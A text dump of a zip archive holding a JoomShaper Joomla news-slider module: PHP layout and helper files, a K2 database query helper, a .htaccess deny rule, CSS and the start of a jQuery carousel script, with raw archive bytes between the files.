							<div class="ns2-row <?php echo $j==0 ? 'ns2-first' : '' ?> <?php echo $j%2 ? 'ns2-even' : 'ns2-odd' ?>">
								<div class="ns2-row-inner">
								<?php for($z=0;$z<$article_column;$z++, $i++): ?>
									<?php if ($i <$c_article_count): ?>
									<div class="ns2-column flt-left col-<?php echo $article_column ?>">
										<div style="padding:<?php echo $article_col_padding ?>">
											<div class="ns2-inner">
												<?php /*Date type blog*/ if ($article_date_format=='blog'): ?>
													<div class="ns2-date-blog">
														<?php
															$date_time = explode(' ', JHTML::_('date', $list[$i]->created, 'd M Y'));
															echo '<span class="ns2_date_day">' . $date_time[0] . '</span>';
															echo '<div class="ns2_date_month_year"><span class="ns2_date_month">' . $date_time[1] . '</span><span class="ns2_date_year">' . $date_time[2] . '</span></div>';
														?>
													</div>
												<?php endif; ?>												
											
												<?php /*Image position before title*/if ($article_show_image && $article_image_pos=='top' && $list[$i]->image): ?>
													<?php if ($article_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $article_image_float ?>;<?php echo ($article_image_margin) ? "margin:$article_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $article_thumb_width, $article_thumb_height, $article_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($article_linked_image): ?>		
														</a>
													<?php endif; ?>			
												<?php endif; ?>												
												
												<?php /*Article title*/ if ($article_showtitle): ?>
													<h4 class="ns2-title">
														<?php if ($article_linkedtitle): ?>
															<a href="<?php echo $list[$i]->link ?>">
														<?php endif; ?>	
															<?php echo modNSSP2CommonHelper::cText($list[$i]->title, $article_count_title_text, $article_title_text_limit); ?>
														<?php if ($article_linkedtitle): ?>
															</a>
														<?php endif; ?>	
													</h4>
												<?php endif; ?>
												
												<?php /*Author, Category, date*/ if ($article_show_author || $article_date_format || $article_show_category): ?>
													<div class="ns2-tools">
														<?php /*Show Author*/ if ($article_show_author): ?>
															<div class="ns2-author">
																<?php echo '<span>' . JText::_('MODNS2_WRITTEN') . '</span>' . $list[$i]->author; ?>
															</div>
														<?php endif; ?>

														<?php /*Show category*/ if ($article_show_category): ?>
															<div class="ns2-category">
																<?php if ($article_show_author): ?>
																<span><?php echo JText::_('MODNS2_CATEGORY'); ?></span>
																<?php endif; ?>	
																<?php if ($article_linked_category): ?>
																	<a href="<?php echo $list[$i]->cat_link ?>">
																<?php endif; ?>	
																	<?php echo $list[$i]->category ?>
																<?php if ($article_linked_category): ?>
																	</a>
																<?php endif; ?>	
															</div>														
														<?php endif; ?>													
														
														<?php /*Show date*/ if (($article_date_format) && ($article_date_format!='blog')): ?>
															<div class="ns2-created">
																<?php if ($article_show_author || $article_show_category): ?>
																	<span><?php echo JText::_('MODNS2_CREATED') ?></span>
																<?php endif; ?>
																<?php echo JHTML::_('date', $list[$i]->created, JText::_($article_date_format)) ?>
															</div>
														<?php endif; ?>
													</div>
												<?php endif; ?>
	
												<?php /*Image position after title*/if ($article_show_image && $article_image_pos=='bottom' && $list[$i]->image): ?>
													<?php if ($article_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $article_image_float ?>;<?php echo ($article_image_margin) ? "margin:$article_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $article_thumb_width, $article_thumb_height, $article_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($article_linked_image): ?>		
														</a>
													<?php endif; ?>			
												<?php endif; ?>			
												
												<?php /*Ratings*/ if ($article_show_ratings): ?>
													<div class="ns2-rating">
														<div class="ns2-rating-bar">
															<div style="width:<?php echo $list[$i]->rating ?>%"></div>	
														</div>	
													</div>
												<?php endif; ?>

												<?php /*Introtext*/ if ($article_introtext): ?>
													<p class="ns2-introtext"><?php echo modNSSP2CommonHelper::cText($list[$i]->introtext, $article_count_intro_text, $article_intro_text_limit) ?></p>								
												<?php endif; ?>
												
												<div class="ns2-social">
													<?php /* Social Share */
														foreach (modNSSP2SocialHelper::icons($list[$i], $params) as $icon) {
															echo $icon;
														}
													?>
												</div>
												
												<?php /*Virtuemart*/ if ($art_show_price || $art_show_cart_button) : ?>
													<div class="ns2-vm-bar">
														<?php /*Show Price*/ if ($art_show_price) : ?>
															<p class="ns2-vm-price"><?php echo $list[$i]->price ?></p>
														<?php endif; ?>

														<?php /*Show Cart Button*/ if ($art_show_cart_button) : ?>
															<?php echo $list[$i]->addtocart ?>
														<?php endif; ?>
													</div>
												<?php endif; ?>
												
												<?php /*K2 Extra fields*/ if ($article_extra_fields && $content_source == 'k2' && count($list[$i]->extra_fields)): ?>
													<div style="clear:both"></div>
													<div class="NS2K2ExtraFields">
														<b><?php echo JText::_('Additional Info'); ?></b>
														<ul>
															<?php foreach ($list[$i]->extra_fields as $key=>$extraField): ?>
																<li class="type<?php echo ucfirst($extraField->type); ?> group<?php echo $extraField->group; ?> <?php echo strtolower($extraField->name) ?> <?php echo $key%2 ? 'even' : 'odd';?> <?php if ($key==0) echo 'first'; ?>">
																	<span class="label"><?php echo $extraField->name; ?></span>
																	<span class="value"><?php echo $extraField->value; ?></span>
																	<div style="clear:both"></div>
																</li>
															<?php endforeach; ?>
														</ul>
													</div>
													<div style="clear:both"></div>
												<?php endif; ?>								
												
												<?php /*Comments, readmore, hits*/ if ($article_show_more || $article_hits || $article_comments): ?>
													<div class="ns2-links">
														<?php /*Comments*/ if ($article_comments):
															echo $list[$i]->comment;
														endif; ?>							
														<?php /*Hits*/ if ($article_hits): ?>
															<span class="ns2-hits"><?php echo JText::_('HITS_TEXT') . ':' . $list[$i]->hits ?></span>
														<?php endif; ?>

														<?php /*Readmore*/ if ($article_show_more): ?>
															<a class="ns2-readmore" href="<?php echo $list[$i]->link ?>"><span><?php echo $article_more_text ?></span></a>
														<?php endif; ?>
													</div>
												<?php endif; ?>
												<div style="clear:both"></div>
												
											</div>
										</div>
									</div>
									<?php endif; ?>
								<?php endfor; $i--; ?>
								<div style="clear:both"></div>
							</div>
							<div style="clear:both"></div>
							</div>
						<?php endfor; $i--; ?>
						<div style="clear:both"></div>
						</div><!--end ns2-page-inner-->
					</div>
				<?php endfor; ?>
				</div>
				
				
				<?php /*Navigation*/ if ($article_animation!="disabled"): ?>
					<div style="clear:both"></div>
					<div class="ns2-art-controllers">
						<?php /*Pagination*/ if ($article_pagination): ?>
							<div class="ns2-art-pagination nssp2-controllers">
								<?php for ($i=0; $i < $row; $i++) { ?>
									<span data-target="#ns2-art-wrap<?php echo $modId; ?>" data-nsspwalk-to="<?php echo $i; ?>" class="<?php echo ($i==0) ? 'active' : ''; ?>"></span>
								<?php } ?>
							</div>
						<?php endif; ?>

						<?php /*Next & Previous*/ if ($article_arrows): ?>
							<a class="ns2-art-prev" href="#ns2-art-wrap<?php echo $modId; ?>" data-nsspwalk="prev">&laquo;</a>				
							<a class="ns2-art-next" href="#ns2-art-wrap<?php echo $modId; ?>" data-nsspwalk="next">&raquo;</a>
						<?php endif; ?>
						<div style="clear:both"></div>
					</div>
				<?php endif; ?>
				<div style="clear:both"></div>
			</div>
		<?php endif; ?>
		<!--End article layout-->
		
		<!--Links Layout-->
		<?php if ($links_block && $c_links_count!=0): ?>
		<?php 
			$links=$c_article_count;
		?>
		<div id="ns2-links-wrap<?php echo $modId; ?>" class="ns2-links-wrap <?php echo ($links_animation!="disabled") ? $links_animation . ' ' . $links_controllers_style : '' ?> <?php if ($links_position=="right"): ?> col-2 flt-left<?php endif; ?>">
			<?php if ($links_more): ?>
				<strong><?php echo  JText::_($links_more_text) ?></strong>
			<?php endif; ?>
			<div class="ns2-links-pages nssp2-inner">
			<?php for( $i = $links; $i < $links+$c_links_count; $i++ ): $link_row++; ?>
				<?php
					if( $links_animation != "disabled" )
					{
						if( $i == $links ){
							$anim_class = 'item active';
						}
						else
						{
							$anim_class = 'item';
						}
					}
					else
					{
						$anim_class = '';
					}
				?>
				<div class="ns2-page <?php echo $anim_class; ?>">
					<div class="ns2-page-inner">
						<?php for ($ii=0; $ii<$links_count; $ii++, $i++): ?>
							<?php if ($i<$a_count): ?>
								<div class="ns2-row <?php echo $ii==0 ? 'ns2-first' : '' ?> <?php echo $ii%2 ? 'ns2-even' : 'ns2-odd' ?>">
									<div class="ns2-row-inner">
										<div style="padding:<?php echo $links_col_padding ?>">
											<div class="ns2-inner">
												<?php /*Show Image*/ if ($links_show_image && $links_image_pos=='top' && $list[$i]->image): ?>
													<?php if ($links_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $links_image_float ?>;<?php echo ($links_image_margin) ? "margin:$links_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $links_thumb_width, $links_thumb_height, $links_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($links_linked_image): ?>		
														</a>
													<?php endif; ?>	
												<?php endif; ?>													
												
												<!--Start title-->											
												<h4 class="ns2-title">
													<a href="<?php echo $list[$i]->link ?>"><?php echo modNSSP2CommonHelper::cText($list[$i]->title, $links_title_count, $links_title_text_limit); ?></a>
												</h4>

												<?php /*Image after title*/ if ($links_show_image && $links_image_pos=='bottom' && $list[$i]->image): ?>
													<?php if ($links_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $links_image_float ?>;<?php echo ($links_image_margin) ? "margin:$links_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $links_thumb_width, $links_thumb_height, $links_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($links_linked_image): ?>		
														</a>
													<?php endif; ?>	
												<?php endif; ?>	
												
												<?php /*Intro Text*/ if ($links_show_intro): ?>
													<p class="ns2-introtext"><?php echo modNSSP2CommonHelper::cText($list[$i]->introtext, $links_intro_count, $links_intro_text_limit) ?></p>															
												<?php endif; ?>
							
												<?php /*Virtuemart*/ if ($links_show_price || $links_show_cart_button) : ?>
													<div class="ns2-vm-bar">
														<?php /*Show Price*/ if ($links_show_price) : ?>
															<p class="ns2-vm-price"><?php echo $list[$i]->price ?></p>
														<?php endif; ?>

														<?php /*Show Cart Button*/ if ($links_show_cart_button) : ?>
															<?php echo $list[$i]->addtocart ?>
														<?php endif; ?>
													</div>
												<?php endif; ?>
												<div style="clear:both"></div>
											</div>
										</div>
										<div style="clear:both"></div>
									</div>
								</div>
							<?php endif; ?>
						<?php endfor; $i--; ?>
						<div style="clear:both"></div>
					</div><!--End ns2-page-inner-->
				</div>
			<?php endfor; ?>
			</div>
			
			<?php /*Navigation*/ if ($links_animation!="disabled"): ?>
				<div style="clear:both"></div>
				<div class="ns2-links-controllers">
					<?php /*Pagination*/ if ($links_pagination): ?>
						<div class="ns2-links-pagination nssp2-controllers">
							<?php for ($i=0; $i < $link_row; $i++) { ?>
								<span data-target="#ns2-links-wrap<?php echo $modId; ?>" data-nsspwalk-to="<?php echo $i; ?>" class="<?php echo ($i==0) ? 'active' : ''; ?>"></span>
							<?php } ?>
						</div>
					<?php endif; ?>
					<?php /*Next & Previous*/ if ($article_arrows): ?>
						<a class="ns2-links-prev" href="#ns2-links-wrap<?php echo $modId; ?>" data-nsspwalk="prev">&laquo;</a>				
						<a class="ns2-links-next" href="#ns2-links-wrap<?php echo $modId; ?>" data-nsspwalk="next">&raquo;</a>
					<?php endif; ?>
					<div style="clear:both"></div>
				</div>
			<?php endif; ?>
			<div style="clear:both"></div>	
		</div>
		<?php endif; ?>
		<!--End Links Layout-->
		<div style="clear:both"></div>
	</div>
</div>

<script type="text/javascript">
	<?php if ($c_article_count > 0 && $article_animation!="disabled"): ?>
		!function ($) {
	        $(function(){
	          $('#ns2-art-wrap<?php echo $modId; ?>').nssp2({
	          	interval: <?php echo $article_animation_interval; ?>
	          })
	        })
	    }(window.jQuery)
	<?php endif; ?>

	<?php if ($links_block && $c_links_count!=0 && $links_animation!="disabled"): ?>
		!function ($) {
	        $(function(){
	          $('#ns2-links-wrap<?php echo $modId; ?>').nssp2({
	          	interval: <?php echo $links_animation_interval; ?>
	          })
	        })
	    }(window.jQuery)
	<?php endif; ?>
</script>PK!�#o,,!mod_news_show_sp2/tmpl/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�b��mod_news_show_sp2/k2helper.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');
$k2route = JPATH_SITE.'/components/com_k2/helpers/route.php';
$k2utilities = JPATH_SITE.'/components/com_k2/helpers/utilities.php';
if (file_exists($k2route))
	require_once($k2route);
	
if (file_exists($k2utilities))
	require_once($k2utilities);
	
abstract class modNSSP2K2Helper {

	public static function getList($params,$count){
	
			$catids								= $params->get('k2catids', array());
			$ordering							= $params->get('ordering', 'a.ordering');
			$ordering_direction					= $params->get('ordering_direction', 'ASC');
			$user_id							= $params->get('user_id');
			$show_featured						= $params->get('show_featured');

			$user 		= JFactory::getUser();
			$aid 		= $user->get('aid');
			$db 		= JFactory::getDBO();

			$jnow 		= JFactory::getDate();
			$now 		= $jnow->toSql();
			$nullDate 	= $db->getNullDate();

			$query = "SELECT a.*, c.name as categoryname,c.id as categoryid, c.alias as categoryalias, c.params as categoryparams".
			" FROM #__k2_items as a".
			" LEFT JOIN #__k2_categories c ON c.id = a.catid";
			$query .= " WHERE a.published = 1 AND a.access IN(".implode(',', $user->getAuthorisedViewLevels()).") AND a.trash = 0 AND c.published = 1 AND c.access IN(".implode(',', $user->getAuthorisedViewLevels()).")  AND c.trash = 0";
			
			// User filter
			$userId = JFactory::getUser()->get('id');
			switch ($params->get('user_id'))
			{
				case 'by_me':
					$query .= ' AND (a.created_by = ' . (int) $userId . ' OR a.modified_by = ' . (int) $userId . ')';
					break;
				case 'not_me':
					$query .= ' AND (a.created_by <> ' . (int) $userId . ' AND a.modified_by <> ' . (int) $userId . ')';
					break;

				case '0':
					break;

				default:
					$query .= ' AND (a.created_by = ' . (int) $userId . ' OR a.modified_by = ' . (int) $userId . ')';
					break;				
			}

			//Added Category
			if (!is_null($catids)) {
				if (is_array($catids)) {
					JArrayHelper::toInteger($catids);
					$query .= " AND a.catid IN(".implode(',', $catids).")";
				} else {
					$query .= " AND a.catid=".(int)$catids;
				}
			}		
			
			//  Featured items filter
			if ($show_featured == '0')
			$query .= " AND a.featured != 1";

			if ($show_featured == '1')
			$query .= " AND a.featured = 1";

			// ensure should be published
			$query .= " AND ( a.publish_up = ".$db->Quote($nullDate)." OR a.publish_up <= ".$db->Quote($now)." )";
			$query .= " AND ( a.publish_down = ".$db->Quote($nullDate)." OR a.publish_down >= ".$db->Quote($now)." )";
			
			//Ordering
			$orderby = $ordering . ' ' . $ordering_direction; //ordering

			$query .= " ORDER BY ".$orderby;
			$db->setQuery($query, 0, $count);
			$items = $db->loadObjectList();
			
			require_once (JPATH_SITE.'/components/com_k2/models/item.php');
			$model = new K2ModelItem;
			if (count($items)) {
				foreach ($items as $item) {
				
					if (! empty($item->created_by_alias)) {
						$item->author = $item->created_by_alias;
					} else {
						$author = JFactory::getUser($item->created_by);
						$item->author = $author->name;
					}
					
					$item->created 		= $item->created;
					$item->hits 		= $item->hits;
					$item->category 	= $item->categoryname;
					$item->cat_link 	= urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($item->catid.':'.urlencode($item->categoryalias))));
					$item->image 		= self::getImage($item->id, $item->introtext);
					$item->title 		= htmlspecialchars($item->title);
					$item->introtext 	= $item->introtext;
					$item->link 		= urldecode(JRoute::_(K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($item->categoryalias))));
					$item->comment		= '<a class="ns2-comments" href="' . $item->link . '#itemCommentsAnchor">' . JText::_('COMMENTS_TEXT') . ' (' . $model->countItemComments($item->id) . ')</a>';
					$item->rating 		= $model->getVotesPercentage($item->id);
					if ($params->get('article_extra_fields')) {
						$item->extra_fields = $model->getItemExtraFields($item->extra_fields, $item);
					}

					$rows[] = $item;
				}
				return $rows;
			}
	}
	
	//retrive k2 image
	private static function getImage($id, $text) {
		if (JFile::exists(JPATH_SITE . '/media/k2/items/cache/' . md5("Image" . $id) . '_XL.jpg')) {
			return 'media/k2/items/cache/' . md5("Image" . $id) . '_XL.jpg';
		} else {
			preg_match('/< *img[^>]*src *= *["\']?([^"\']*)/i', $text, $matches);
			if (isset($matches[1])) {
				return $matches[1];
			}		
		}	
	}
}PK!���<��mod_news_show_sp2/common.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.filter.output');
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
jimport('joomla.image.image.php');
require_once dirname(__FILE__) . '/image.php';

class modNSSP2CommonHelper {

	public static function cText($text, $limit, $type=0) {//function to cut text
		$text 					= preg_replace('/<img[^>]+\>/i', "", $text);
		if ($limit==0) {//no limit
			$allowed_tags 		= '<b><i><a><small><h1><h2><h3><h4><h5><h6><sup><sub><em><strong><u><br>';
			$text 				= strip_tags( $text, $allowed_tags );
			$text 				= $text;	
		} else {
			if ($type==1) {//character lmit
				$text 			= self::characterLimit($text, $limit, '...');
			} else {//word limit
				$text 			= self::wordLimit($text, $limit, '...');
			}		
		}
		return $text;
	}

	// Word limit
	public static function wordLimit($str, $limit = 100, $end_char = '&#8230;')
	{
		if (JString::trim($str) == '')
			return $str;

		// always strip tags for text
		$str = strip_tags($str);

		$find = array("/\r|\n/u", "/\t/u", "/\s\s+/u");
		$replace = array(" ", " ", " ");
		$str = preg_replace($find, $replace, $str);

		preg_match('/\s*(?:\S*\s*){'.(int)$limit.'}/u', $str, $matches);
		if (JString::strlen($matches[0]) == JString::strlen($str))
			$end_char = '';
		return JString::rtrim($matches[0]).$end_char;
	}

	// Character limit
	public static function characterLimit($str, $limit = 150, $end_char = '...')
	{
		if (JString::trim($str) == '')
			return $str;

		// always strip tags for text
		$str = strip_tags(JString::trim($str));

		$find = array("/\r|\n/u", "/\t/u", "/\s\s+/u");
		$replace = array(" ", " ", " ");
		$str = preg_replace($find, $replace, $str);

		if (JString::strlen($str) > $limit)
		{
			$str = JString::substr($str, 0, $limit);
			return JString::rtrim($str).$end_char;
		}
		else
		{
			return $str;
		}

	}
	
	public static function thumb($image, $width, $height, $ratio=false, $uniqid) {

		if( substr($image,0,4)=='http' ) {//to detect externel image source
			if(strpos($image, JURI::base())===FALSE) {//externel source
				return $image;
			} else {//return internel image relative path
				$image = str_replace(JURI::base(),'',$image);
			}
		}
		
		// remove any / that begins the path
		$image = ltrim($image,'/');

		$image = JPATH_ROOT . '/' . $image;
		
		//cache path
		$thumb_dir = JPATH_CACHE.'/mod_news_show_sp2/nssp2_thumbs/'. $uniqid;
		
		if (!JFolder::exists($thumb_dir)) {
			JFolder::create($thumb_dir, 0755);
		}

		$file_name 			= JFile::stripExt(basename($image));
		$file_ext 			= JFile::getExt($image);
		$thumb_file_name 	= $thumb_dir . '/' . $file_name . '.' . $file_ext;
		$thumb_url 			= basename(JPATH_CACHE) .'/mod_news_show_sp2/nssp2_thumbs/'. $uniqid. '/' . $file_name . "_{$width}x{$height}." . $file_ext;

		//Creating thumbnails		
		if ( file_exists($image) ) {
			self::crop($image, $width, $height, $ratio, $thumb_dir, $thumb_file_name);
		}


			
		return $thumb_url;	
	}

	private static function crop($image_to_resize, $width, $height, $ratio, $thumbs_path, $thumb_file)
	{
		
		$sizes = array("{$width}x{$height}");

		$image = new modNSSP2ImageHelper( $image_to_resize );
		//$output = $image->createThumbs($sizes, 1, $thumbs_path);
		
		if( file_exists( $thumb_file ) )
		{
			$imageProperties = modNSSP2ImageHelper::getImageFileProperties( $thumb_file );

			if( $imageProperties->width != $width || $imageProperties->height != $height )
			{
				//$image = new JImage( $image_to_resize );
				$output = $image->createThumbs($sizes, 1, $thumbs_path);
			}

		} else {
			//$image = new JImage( $image_to_resize );
			$output = $image->createThumbs($sizes, 1, $thumbs_path);
		}

		return true;

	}
		
}PK!�)��"mod_news_show_sp2/assets/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�#o,,#mod_news_show_sp2/assets/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,'mod_news_show_sp2/assets/css/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!���_VV2mod_news_show_sp2/assets/css/mod_news_show_sp2.cssnu&1i�/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/
h4.ns2-title {font-size:100%;font-weight:bold}
a.ns2-readmore span,span.ns2-hits,a.ns2-comments {margin:0 5px 0 0;font-size:0.9em}
a.ns2-readmore span {background:url(../images/more.png) no-repeat 0 0;padding:0 0 0 13px}
span.ns2-hits {color:#666666;background:url(../images/hits.png) no-repeat 0 0;padding:0 0 0 14px}
a.ns2-comments {background:url(../images/comments.png) no-repeat 0 0;padding:0 0 0 18px}
img.ns2-image {max-width:100%;height:auto;}

/*Blog type date*/
.ns2-date-blog {float:left;margin:0 10px 0 0;background:#333;padding:6px 10px;text-align:center;color:#999}
	.ns2_date_day{font-size:14px;font-weight:700}
	.ns2_date_month_year{display:block;text-transform:uppercase}
	.ns2_date_month_year span{display:block}
	span.ns2_date_month{font-size:11px;line-height:120%}
	span.ns2_date_year{font-size:10px}

/*Article tools*/
div.ns2-tools{color:#999;font-size:0.9em}
div.ns2-tools span {margin:0 5px 0 0}
div.ns2-author,
div.ns2-created,
div.ns2-category {display:inline}

/*Rating*/
div.ns2-rating{height:16px;white-space:nowrap;margin:5px 0 0}
div.ns2-rating-bar,div.ns2-rating-bar div{height:16px;background-image:url(../images/transparent_star.png);background-repeat:repeat-x}
div.ns2-rating-bar{width:80px;overflow:hidden;background-position:0 0}
div.ns2-rating-bar div{background-position:0 -16px;display:block}

/*Newly added*/
div.nssp2 .flt-left {float:left}
div.nssp2 .col-1 {width:100%}
div.nssp2 .col-2 {width:50%}
div.nssp2 .col-3 {width:33.333%}
div.nssp2 .col-4 {width:25%}
div.nssp2 .col-5 {width:20%}
div.nssp2 .col-6 {width:16.666%}
div.nssp2 .col-7 {width:14.256%}
div.nssp2 .col-8 {width:12.5%}
div.nssp2 .col-9 {width:11.111%}
div.nssp2 .col-10 {width:10%}

/*Animation Area*/
div.ns2-page {overflow:hidden;}

div.nssp2-default .ns2-art-controllers, div.nssp2-default .ns2-links-controllers {float:right}
div.nssp2-default .ns2-art-pagination, div.nssp2-default .ns2-links-pagination{float:left;margin:0 10px}
		
	.ns2-art-prev, .ns2-links-prev,
	.ns2-art-play, .ns2-links-play,
	.ns2-art-pause, .ns2-links-pause,
	.ns2-art-next, .ns2-links-next,
	.ns2-art-pagination span, .ns2-links-pagination span {
		cursor: pointer;
		display: inline-block;
	}
	
	.ns2-art-pagination, .ns2-links-pagination {
		display:inline-block;	
	}
		
	div.nssp2-default .ns2-art-prev, div.nssp2-default .ns2-links-prev,
	div.nssp2-default .ns2-art-play, div.nssp2-default .ns2-links-play,
	div.nssp2-default .ns2-art-pause, div.nssp2-default .ns2-links-pause,
	div.nssp2-default .ns2-art-next, div.nssp2-default .ns2-links-next,
	div.nssp2-default .ns2-art-pagination span, div.nssp2-default .ns2-links-pagination span{
		background-image:url(../images/nav-buttons.png);
		background-repeat:no-repeat;
		width:8px;
		height:9px;
		float:left;
		text-indent:-999em;
		margin:0 2px;
	}
	
	div.nssp2-default .ns2-art-prev, 
	div.nssp2-default .ns2-links-prev {background-position:0 0}
	div.nssp2-default .ns2-art-prev:hover, 
	div.nssp2-default .ns2-links-prev:hover {background-position:0 -9px}
	div.nssp2-default .ns2-art-next, 
	div.nssp2-default .ns2-links-next {background-position:-8px 0}
	div.nssp2-default .ns2-art-next:hover, 
	div.nssp2-default .ns2-links-next:hover {background-position:-8px -9px}
	div.nssp2-default .ns2-art-play, 
	div.nssp2-default .ns2-links-play {background-position:-24px 0}
	div.nssp2-default .ns2-art-play:hover, 
	div.nssp2-default .ns2-links-play:hover {background-position:-24px -9px}
	div.nssp2-default .ns2-art-pause, 
	div.nssp2-default .ns2-links-pause {background-position:-32px 0}
	div.nssp2-default .ns2-art-pause:hover, 
	div.nssp2-default .ns2-links-pause:hover {background-position:-32px -9px}
	div.nssp2-default .ns2-art-pagination span, 
	div.nssp2-default .ns2-links-pagination span{background-position:-16px 0}
	div.nssp2-default .ns2-art-pagination span:hover, 
	div.nssp2-default .ns2-links-pagination span:hover, 
	div.nssp2-default .ns2-art-pagination span.active, 
	div.nssp2-default .ns2-links-pagination span.active{background-position:-16px -10px}
	
/*Share*/
div.nssp2 .ns2-social {}
div.nssp2 .ns2-social span.ns2-share-icon {display:inline-block;margin-left:10px}
div.nssp2 .ns2-social span:first-child {margin-left:0}



/*Slide*/
.nssp2-slide{
	overflow: hidden;
}
.nssp2-slide .nss2-inner {
  position: relative;
  width: 100%;
  overflow: hidden;
}
.nssp2-slide .nss2-inner > .item {
  position: relative;
  display: none;
  -webkit-transition: .6s ease-in-out left;
  	transition: .6s ease-in-out left;
}
.nssp2-slide .nss2-inner > .item > img,
.nssp2-slide .nss2-inner > .item > a > img {
  line-height: 1;
}
.nssp2-slide .nss2-inner > .active,
.nssp2-slide .nss2-inner > .next,
.nssp2-slide .nss2-inner > .prev {
  display: block;
}
.nssp2-slide .nss2-inner > .active {
  left: 0;
}
.nssp2-slide .nss2-inner > .next,
.nssp2-slide .nss2-inner > .prev {
  position: absolute;
  top: 0;
  width: 100%;
}
.nssp2-slide .nss2-inner > .next {
  left: 100%;
}
.nssp2-slide .nss2-inner > .prev {
  left: -100%;
}
.nssp2-slide .nss2-inner > .next.left,
.nssp2-slide .nss2-inner > .prev.right {
  left: 0;
}
.nssp2-slide .nss2-inner > .active.left {
  left: -100%;
}
.nssp2-slide .nss2-inner > .active.right {
  left: 100%;
}


/*Fade*/
.nssp2-fade,
.nssp2-fade .nnsp2-inner,
.nssp2-fade .nssp2-inner .item {
  height: 100%;
}

.nssp2-fade .nss2-inner .item {
  opacity: 0;
  -webkit-transition-property: opacity;
  	-moz-transition-property: opacity;
  		-ms-transition-property: opacity;
  			-o-transition-property: opacity;
  				transition-property: opacity;
}
.nssp2-fade .nss2-inner .active {
  opacity: 1;
}
.nssp2-fade .nss2-inner .active.left,
.nssp2-fade .nss2-inner .active.right {
  left: 0;
  opacity: 0;
  z-index: 1;
}
.nssp2-fade .nss2-inner .next.left,
.nssp2-fade .nss2-inner .prev.right {
  opacity: 1;
}
.nssp2-fade .nss2-control {
  z-index: 2;
}

/*No Effect*/
.nssp2-noeffect .nssp2-inner .item {
  display: none;
}

.nssp2-noeffect .nssp2-inner .item.active {
  display: block;
}
PK!�#o,,&mod_news_show_sp2/assets/js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!{.uzSS$mod_news_show_sp2/assets/js/nssp2.jsnu&1i�/* ==========================================================
 * bootstrap-carousel.js v2.3.2
 * http://twitter.github.com/bootstrap/javascript.html#carousel
 * ==========================================================
 * Copyright 2012 Twitter, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * ========================================================== */


!function ($) {

  "use strict"; // jshint ;_;


 /* CAROUSEL CLASS DEFINITION
  * ========================= */

  var newsShowSP2 = function (element, options) {
    this.$element = $(element)
    this.$indicators = this.$element.find('.nssp2-controllers')
    this.options = options
    this.options.pause == 'hover' && this.$element
      .on('mouseenter', $.proxy(this.pause, this))
      .on('mouseleave', $.proxy(this.cycle, this))
  }

  newsShowSP2.prototype = {

    cycle: function (e) {
      if (!e) this.paused = false
      if (this.interval) clearInterval(this.interval);
      this.options.interval
        && !this.paused
        && (this.interval = setInterval($.proxy(this.next, this), this.options.interval))
      return this
    }

  , getActiveIndex: function () {
      this.$active = this.$element.find('.item.active')
      this.$items = this.$active.parent().children()
      return this.$items.index(this.$active)
    }

  , to: function (pos) {
      var activeIndex = this.getActiveIndex()
        , that = this

      if (pos > (this.$items.length - 1) || pos < 0) return

      if (this.sliding) {
        return this.$element.one('walking', function () {
          that.to(pos)
        })
      }

      if (activeIndex == pos) {
        return this.pause().cycle()
      }

      return this.nsspwalk(pos > activeIndex ? 'next' : 'prev', $(this.$items[pos]))
    }

  , pause: function (e) {
      if (!e) this.paused = true
